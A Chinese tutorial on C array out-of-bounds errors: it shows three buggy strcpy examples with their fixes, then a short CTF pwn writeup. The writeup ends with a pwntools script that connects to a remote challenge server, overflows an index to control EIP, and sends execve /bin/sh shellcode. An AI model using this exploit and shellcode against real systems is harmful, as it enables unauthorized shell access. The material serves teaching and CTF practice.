pwn之-数组下标越界

下标越界

在引用数组元素时,使用的下标超过了该数组下标的应有范围,但应注意的是:

C/C++不对数组做边界检查。 可以重写数组的每一端,并写入一些其他变量的
数组或者甚至是写入程序的代码。不检查下标是否越界可以有效提高程序运行
的效率,因为如果你检查,那么编译器必须在生成的目标代码中加入额外的代
码用于程序运行时检测下标是否越界,这就会导致程序的运行速度下降,所以
为了程序的运行效率,C / C++才不检查下标是否越界。发现如果数组下标越
界了,那么它会自动接着那块内存往后写。

关于C/C++为什么不对数组的下标是否越界做检查,可以参考:
This is an http://www.xuebuyuan.com/967089.html

因为编译器不会自动检测你的数组下标是否越界,而是把这个任务交给了程序员自己,所以我们在写程序,引用数组元素时,一定注意不要让数组的下标越界。

还有,初学者一定不能忘了数组的下标是从0开始的,不是常识中的从1开始。

例一

1    void test1()
2    {
3        char string[10];
4        char* str1 = "0123456789";
5        strcpy(string, str1);
6    }

例二

1    void test2()
2    {
3        char string[10], str1[10];
4        int i;
5        for(i=0; i<10; i++)
6        {
7            str1[i] = 'a';
8        }
9        strcpy(string, str1);
10   }

例三

1    void test3(char* str1)
2    {
3        char string[10];
4        if(strlen(str1) <= 10)
5        {
6            strcpy(string, str1); 
7        }
8    }

这3个例子都有数组越界的问题。

例一中,string是一个含有10个元素的字符数组,str1指向的字符串长度为10,在进行strcpy调用时,会将str1的结束符也复制到string数组里,即复制的字符个数为11,这样会导致string出现数组越界。程序不一定会因此而崩溃,但这是一个潜在的危险。解决办法是将string的元素个数定义为11。

例二中,str1和string都是含有10个元素的字符数组,并且str1的元素全部被赋为字符”a”,然后再调用strcpy。这里会出现以下两个问题:一个问题是str1表示的字符数组没有以’\0’结束,在随后调用strcpy时无法判断什么时候复制结束;另一个问题是string的数组长度不够,出现数组越界的现象。解决办法是将string和str1的元素个数都定义为11个,并在调用strcpy之前加入一条语句把str1[10]赋为’\0’。

例三中,if语句使用小于等于”<=”进行比较,如果str1的长度等于10,也会出现数组越界的情况。解决办法是把”<=”换成”<”。

改正后的程序如下所示。

例一

1    void test1()
2    {
3        char string[11];           //字符数组长度为11,多分配一个
4        char* str1 = "0123456789";
5        strcpy(string, str1);
6    }

例二

1    void test2()
2    {
3        char string[11], str1[11];   //字符数组长度都为11,均多分配一个
4        int i;
5        for(i=0; i<10; i++)
6        {
7            str1[i] = 'a';
8        }
9        str1[10] = '\0';            //初始化str1为空字符串
10       strcpy(string, str1);
11   }

例三

1    void test3(char*str1)
2    {
3        char string[10];
4        if(strlen(str1) < 10)        //不能用<=
5        {
6            strcpy(string, str1); 
7        }
8    }

i春秋30强挑战赛pwn1 writeup

在输入操作下标时没有检测是否越界,通过数组越界读获取获取伪造的函数指针执行 shellcode。


通过GDB调试,发现发送29控制eip,nx:disabled,布置好shellcode后直接getshell。

利用代码

from pwn import *
# io = process("./tc1")
io = remote("106.75.9.11", 20000)
io.recvuntil("4. Divide")
io.sendline("29")
io.recvuntil("[123 110]")
payload = p32(0x804a0a4) + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
io.sendline(payload)
io.interactive()
有钱的捧个钱场
0%